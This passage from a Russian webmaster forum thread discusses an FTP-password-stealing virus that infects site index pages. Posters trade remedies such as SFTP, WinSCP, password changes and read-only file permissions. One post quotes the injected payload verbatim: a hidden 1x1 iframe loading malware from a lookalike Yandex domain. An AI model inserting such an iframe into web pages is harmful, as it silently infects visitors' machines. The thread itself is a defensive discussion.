Такого ФТП взломщика я еще не встречал!

123 4
Last hErO
На сайте с 23.08.2006
Offline
128
#11

через sftp конектиться попробуйте если есть на хостинге

litos0
На сайте с 17.07.2008
Offline
122
#12

Да, кстати, через SFTP пока еще таких проблем нет, в качестве клиента рекомендую WinSCP, у него же есть плагин к FAR

Vladimir
На сайте с 07.06.2004
Offline
614
#13
pianist:
Работает вирус по стандартной схеме: как-то достает пароль к ФТП, после чего на индексные страницы добавляет <iframe src="http://yanbex.com/yandex/in.cgi?2" width=1 height=1 style="visibility:hidden"></iframe>

Обычно вирус цепляют к .htaccess, полностью удалите его, замените со своего компа.

Либо к индексным файлам, лечение аналогичное полное удаление, замена файла

Пароль к ФТП сменить.

если дыра на хостинге, дополнительно можно удалить права на запись индехфайлов из панели.

Аэройога ( https://vk.com/aeroyogadom ) Йога в гамаках ( https://vk.com/aero_yoga ) Аэройога обучение ( https://aeroyoga.ru ) и просто фото ( https://weandworld.com )
P
На сайте с 21.08.2008
Offline
65
#14

Хостинг mchost.ru

в тех. поддержке сказали, что не их вина 99%:)

Касперский ничего не находит на компе.

Попробовал так: загружяю файлы и сразу меняю пароль к фтп в панели, его кладу в блокнот. тоесть вообще им не пользовался. Посмотрим результат...

V1
На сайте с 26.07.2007
Offline
102
#15

У меня похожая ситуация была, оказалось что какой то вирь воровал пароли из TC.

А я еще голову ломал, как такое может быть ? Пароли наверное раз 6 менял, а все без толку.

В общем перешел на WinSCP и все стало нормально.

я кочегарю Топы Яндекса и Гугла.
F
На сайте с 12.12.2008
Offline
21
#16
pianist:
Попробовал так: загружяю файлы и сразу меняю пароль к фтп в панели, его кладу в блокнот. тоесть вообще им не пользовался. Посмотрим результат...

Не надо так мучатся! Ставите на файл индексной страницы права 444 и все в порядке! Вирус код вставляет в в файлы с именем index с любым разрешением. Вот. Была аналогичная проблема - так причину и не нашли. Решилось все установлением на сервере блокировщика фтп по айпишнику. Удобная штука все-таки!

stalker37
На сайте с 16.05.2008
Offline
164
#17

pianist, а у Вас FTP-менеджер не Total Comander (вроде так пишется)? Если он - то он и проблема.

Вот, если что, ссылка нормальная на информацию по минимальной защите сайта: http://www.jino.ru/support/manuals/security.html

Шаред и облачный хостинг, VPS (http://jino.ru/?par=stalker37)
BK
На сайте с 05.03.2009
Offline
2
#18
litos0:
SFTP

Сорри за оффтоп, а его должен поддерживать хостинг или как можно через него?

P
На сайте с 21.08.2008
Offline
65
#19

Стоит Total Comander, но через него я заливаю только на файлообменники. А на сайты мелкие файлы через проводник IE.

Ладно, буду примменять сейчас советы прочитаные здесь.

Dreammaker
На сайте с 20.04.2006
Offline
569
#20
BoxKK:
Сорри за оффтоп, а его должен поддерживать хостинг или как можно через него?

если есть доступ по ssh к хосту, то в большинстве случаев это означает, что у вас есть и доступ по sftp .

Кстати, некоторое время назад наткнулся на интересное поведение вируса на одном сайте. Может я что-то пропустил, но раньше такого не встречал - вирус пишется не в конец файла как обычно, а находит место, где находятся скрипты счётчиков (а может просто смотрит тег <script>) и приписывается после них. А на фоне ливеинтернетовского счётчика я и не сразу заметил.

pianist:
Этот iframe подгружает вирус, который, правда, ловит Касперский(как другие антивирусы не знаю).

не факт, что там всего один вирус, и остальные антивирус ловит...

123 4

Авторизуйтесь или зарегистрируйтесь, чтобы оставить комментарий